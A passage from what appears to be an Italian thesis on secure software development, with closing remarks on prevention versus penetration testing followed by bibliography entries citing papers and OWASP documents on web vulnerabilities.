dello sviluppo e del mantenimento di un software. Frequentemente, tutto
ciò che riguarda la sicurezza informatica viene valutato dalle aziende come
un costo aggiuntivo, piuttosto che come un investimento. Durante le fasi di
progettazione e sviluppo di un software è necessario porre una grande at-
tenzione sulle configurazioni relative alla sicurezza, al fine di prevenire la
creazione di vulnerabilità, in quanto anche la più piccola disattenzione può
portare a serie conseguenze.
La tecnica di penetration testing è efficace nel trovare vulnerabilità, ma può
essere applicata quasi solo al termine dello sviluppo di un software: è quindi
necessario, da parte degli sviluppatori, concentrarsi sulla prevenzione delle
falle di sicurezza, in quanto la loro correzione preventiva è molto meno cos-
tosa e invasiva della loro mitigazione, dopo che l’applicazione è stata già
sviluppata.
123
Bibliography
[10] T. Groß, B. Pfitzmann, and A.-R. Sadeghi, “Browser model for security
analysis of browser-based protocols”, in Computer Security – ESORICS
2005, S. d. C. di Vimercati, P. Syverson, and D. Gollmann, Eds., Berlin,
Heidelberg: Springer Berlin Heidelberg, 2005, pp. 489–508, ISBN: 978-
3-540-31981-8.
[11] OWASP, Top 10 proactive controls, 2018. [Online]. Available: https://
www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_
V3.pdf.
[12] G. Stoneburner, C. Hayden, and A. Feringa, “Engineering principles
for information technology security (a baseline for achieving security)”,
p. 32, Jun. 2001.
[13] Y. Demchenko, L. Gommans, C. de Laat, and B. Oudenaarde, “Web ser-
vices and grid security vulnerabilities and threats analysis and model”,
in The 6th IEEE/ACM International Workshop on Grid Computing, 2005.,
2005, 6 pp.–. DOI: 10.1109/GRID.2005.1542751.
[14] Y.-W. Huang, F. Yu, C. Hang, C.-H. Tsai, D.-T. Lee, and S.-Y. Kuo, “Se-
curing web application code by static analysis and runtime protection”,
in Proceedings of the 13th International Conference on World Wide Web,
ser. WWW ’04, New York, NY, USA: ACM, 2004, pp. 40–52, ISBN: 1-
58113-844-X. DOI: 10.1145/988672.988679. [Online]. Available: http:
//doi.acm.org/10.1145/988672.988679.
[15] OWASP, Top 10 2017, 2017. [Online]. Available: https://www.owasp.
org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf.
[16] ——, Risk rating methodology, 2017. [Online]. Available: https://www.
owasp.org/index.php/OWASP_Risk_Rating_Methodology.
[17] W. G. J. Halfond, J. Viegas, A. Orso, and College, “A classification of
sql injection attacks and countermeasures”, 2006.
[18] N. group, Advanced sql injection in sql server applications, 2013. [Online].
Available: https://www.nccgroup.trust/ae/our-research/advanced-
sql-injection-in-sql-server-applications/.
[19] A. Stasinopoulos, C. Ntantogian, and C. Xenakis, “Commix: Automat-
ing evaluation and exploitation of command injection vulnerabilities in
web applications”, International Journal of Information Security, vol. 18,
no. 1, pp. 49–72, 2019. DOI: 10.1007/s10207- 018- 0399- z. [Online].
Available: https://doi.org/10.1007/s10207-018-0399-z.
[20] H. Shahriar, H. M. Haddad, and P. Bulusu, “Ocl fault injection-based
detection of ldap query injection vulnerabilities”, in 2016 IEEE 40th An-
nual Computer Software and Applications Conference (COMPSAC), vol. 2,
2016, pp. 455–460. DOI: 10.1109/COMPSAC.2016.161.
[21] M. M. Hassan, S. Nipa, M. Akter, R. Haque, F. Deepa, M. Mostafijur
Rahman, M. A. Siddiqui, and M. H. Sharif, “Broken authentication and
session management vulnerability: A case study of web application”,
International Journal of Simulation: Systems, Science & Technology, vol. 19,
Apr. 2018. DOI: 10.5013/IJSSST.a.19.02.06.
Bibliography 125